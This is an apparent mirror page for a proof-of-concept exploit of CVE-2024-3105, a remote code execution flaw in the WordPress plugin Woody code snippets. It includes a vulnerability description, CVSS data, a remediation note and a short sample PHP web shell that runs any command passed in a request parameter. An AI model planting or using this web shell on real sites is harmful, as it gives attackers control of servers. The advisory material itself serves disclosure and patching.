Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-3105 PoC — WordPress plugin Woody code snippets 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin Woody code snippets 安全漏洞 (CVE-2024-3105)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Woody code snippets 2.5.0 版本及之前版本存在安全漏洞,该漏洞源于远程代码执行。
Description
A PoC Exploit for CVE-2024-3105 - The Woody code snippets – Insert Header Footer Code, AdSense Ads plugin for WordPress Remote Code Execution (RCE)
Readme
# CVE-2024-3105 (PoC)
The Woody code snippets – Insert Header Footer Code, AdSense Ads plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.5.0 via the 'insert_php' shortcode. This is due to the plugin not restricting the usage of the functionality to high level authorized users. This makes it possible for authenticated attackers, with contributor-level access and above, to execute code on the server.

## Info
Base Score: **9.9 CRITICAL** \
Vector: **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H** \
Software Type: **Plugin** \
Software Slug: **insert-php** \
Remediation: **Update to version 2.5.1, or a newer patched version** \
Affected Version: **<= 2.5.0**

## Sample PHP code
```php
<?php
    error_reporting(0);
    $cmd = "$_REQUEST[c]";
    if ($cmd == "") {
	    $cmd = "echo > NUL";
    }
    @system("$cmd");
?>
```
File Snapshot

[4.0K] /data/pocs/bfeb862f7e4ae39cd4ae12608f04bd1ee080e700 ├── [ 17M] RCE via shortcode.mp4 ├── [ 12M] RCE without shortcode.mp4 └── [ 881] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.